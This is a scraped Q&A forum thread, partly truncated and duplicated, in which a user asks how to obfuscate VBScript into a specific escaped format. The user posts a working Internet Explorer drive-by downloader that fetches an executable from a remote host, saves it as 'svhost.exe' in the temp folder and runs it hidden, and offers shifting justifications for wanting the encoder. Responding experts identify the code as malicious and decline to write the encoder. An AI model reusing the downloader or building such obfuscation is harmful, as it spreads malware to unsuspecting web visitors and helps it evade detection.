Unknown-Killer
asked on
Javascript Unicode escaped characters (vbscript encode)
Im not java guru or anywhere near that so im having a little problem.
I've a script which decodes escaped characters
Script:
<script language="javascript">
function dF(s)
{
var s1=unescape(s.substr(0,s.l
var t='';
for(i=0;i<s1.length;i++)t+
document.write(unescape(t)
}
</script>
And thing to be decoded is written as
(6Fvfulsw(53odqjxdjh(6G(55
This thing is actually a VBscript encoded in that manner.
can anyone guide me how can i convert other vbscripts in above format? i.e: (6Fvfulsw(53odqjxdjh
i tried encoding by escape but i was not able to achieve my objective to convert it in (6Fvfulsw(53odqjxdjh manner.
http://scriptasylum.com/tutorials/encdec/encode-decode.html on this page 2nd decoder will help you decode.
I've a script which decodes escaped characters
Script:
<script language="javascript">
function dF(s)
{
var s1=unescape(s.substr(0,s.l
var t='';
for(i=0;i<s1.length;i++)t+
document.write(unescape(t)
}
</script>
And thing to be decoded is written as
(6Fvfulsw(53odqjxdjh(6G(55
This thing is actually a VBscript encoded in that manner.
can anyone guide me how can i convert other vbscripts in above format? i.e: (6Fvfulsw(53odqjxdjh
i tried encoding by escape but i was not able to achieve my objective to convert it in (6Fvfulsw(53odqjxdjh manner.
http://scriptasylum.com/tutorials/encdec/encode-decode.html on this page 2nd decoder will help you decode.
ASKER
can u be a little more brief and point me directly to the encoder?
ASKER
My Script:
<script language="VBScript">
on error resume next
dl = "http://-----/yo.exe"
Set df = document.createElement("ob
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="svhost.exe"
set F = df.createobject("Scripting
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.App
Q.ShellExecute fname1,"","","open",0
</script>
After editing some stuff i want it to get converted in format like this
(6Fvfulsw(53odqjxdjh(6G(55
I copied above code from some where else and it is not my encoded code
<script language="VBScript">
on error resume next
dl = "http://-----/yo.exe"
Set df = document.createElement("ob
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="svhost.exe"
set F = df.createobject("Scripting
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.App
Q.ShellExecute fname1,"","","open",0
</script>
After editing some stuff i want it to get converted in format like this
(6Fvfulsw(53odqjxdjh(6G(55
I copied above code from some where else and it is not my encoded code
Unfortunately, this question refers to Javascript, when, in fact, it is a VBscript question. I wonder if a moderator could change this wording?
The decoder is JS
ASKER
so any one?
ASKER
any pro dont know about it?
PErhaps this one?
http://www.virtualconspiracy.com/index.php?page=scrdec/usage
http://www.virtualconspiracy.com/index.php?page=scrdec/usage
ASKER
thats a decoder dude
maybe this can help
http://www.ibresource.ru/forums/index.php?showtopic=28683&pid=180784&mode=threaded&show=&st=&
if you dont understand russian then use http://babelfish.altavista.com
they have some other script but encoded like i say
maybe this can help
http://www.ibresource.ru/forums/index.php?showtopic=28683&pid=180784&mode=threaded&show=&st=&
if you dont understand russian then use http://babelfish.altavista.com
they have some other script but encoded like i say
Yes, I am sorry
I meant this
http://www.microsoft.com/downloads/details.aspx?FamilyId=E7877F67-C447-4873-B1B0-21F0626A6329&displaylang=en
I meant this
http://www.microsoft.com/downloads/details.aspx?FamilyId=E7877F67-C447-4873-B1B0-21F0626A6329&displaylang=en
ASKER
i was searching in google and came across this url
http://translate.google.com/translate?hl=en&sl=zh-CN&u=http://www.99show.com/adduser.asp&sa=X&oi=translate&resnum=2&ct=result&prev=/search%3Fq%3D(6Fvfulsw%26hl%3Den%26lr%3D%26sa%3DG
after looking at source i found out a code
(6Fvfulsw(53odqjxdjh(6GMVf
i decoded it and got
<script language=JScript.Encode src=http://www.jq4u.com/myadv.asp></script>
but that page shows nothing maybe it needs paremeters
can it help?
http://translate.google.com/translate?hl=en&sl=zh-CN&u=http://www.99show.com/adduser.asp&sa=X&oi=translate&resnum=2&ct=result&prev=/search%3Fq%3D(6Fvfulsw%26hl%3Den%26lr%3D%26sa%3DG
after looking at source i found out a code
(6Fvfulsw(53odqjxdjh(6GMVf
i decoded it and got
<script language=JScript.Encode src=http://www.jq4u.com/myadv.asp></script>
but that page shows nothing maybe it needs paremeters
can it help?
No, it is just a japanese page that no longer returns a script
ASKER
hah still no good method :-s i think this thing is buggy but some italian guys also coded stuff like that & have their spyware stuff being spread
ASKER CERTIFIED SOLUTION
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
ASKER
no, i want to expose exploit so microsoft can make their information bar more secure,
if u want mplungjan i can send u link to but anywhr in private to that spyware company
i work in a office and that spyware is spreading by yahoo infected lots of comps
i went to that link and it asks for genuine os stuff i dont know what it is talking about
if u want mplungjan i can send u link to but anywhr in private to that spyware company
i work in a office and that spyware is spreading by yahoo infected lots of comps
i went to that link and it asks for genuine os stuff i dont know what it is talking about
So why do you need an ENCODER to expose ?
Michel
Michel
ASKER
actually its a project, i'll get some good remarks on giving this thing to my company
SOLUTION
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
The other code you quoted is most certainly malicious (to windows) and points to various exe
e.g.
<|s|c|r|i|p|t| |l|a|n|g|u|a|g|e|=|"|V|B|S
e.g.
<|s|c|r|i|p|t| |l|a|n|g|u|a|g|e|=|"|V|B|S
ASKER
dennis_maeder can u tell me how to make encoder? i aint a java guru
Unknown-Killer, mplungjan,
Yes I think I can write a javascript encoder of this sort, but I'm not sure that I should.
Let me explain:
A decoder is defensive, it helps you know whats going on with a threat, but a published encoder may be used by some for illicit purposes.
This request is for a specific type of encoding known to be used for antisocial purposes, and I must assume that any code I might produce could be used in that way.
However, the scriptasylum link you gave at the top offers an encoder, and you or anyone could obfuscate their code using that.
Michel, as page editor, what do you think?
D
Yes I think I can write a javascript encoder of this sort, but I'm not sure that I should.
Let me explain:
A decoder is defensive, it helps you know whats going on with a threat, but a published encoder may be used by some for illicit purposes.
This request is for a specific type of encoding known to be used for antisocial purposes, and I must assume that any code I might produce could be used in that way.
However, the scriptasylum link you gave at the top offers an encoder, and you or anyone could obfuscate their code using that.
Michel, as page editor, what do you think?
D
I completely agree - hence my question in
#17849249
#17849249
See my comments of 11/13. It took some effort to show questioner how the code worked, but I stopped short of providing an encoder for ethical reasons and to follow EE guidelines in concert with page editor and contributor Michel Plungjan. Should that be penalized?
D
D
ASKER
function dF(s)
{
var s1=unescape(s.substr(0,s.l
var t='';
for(i=0;i<s1.length;i++)t+
document.write(unescape(t)
}
df(mycode);
</script>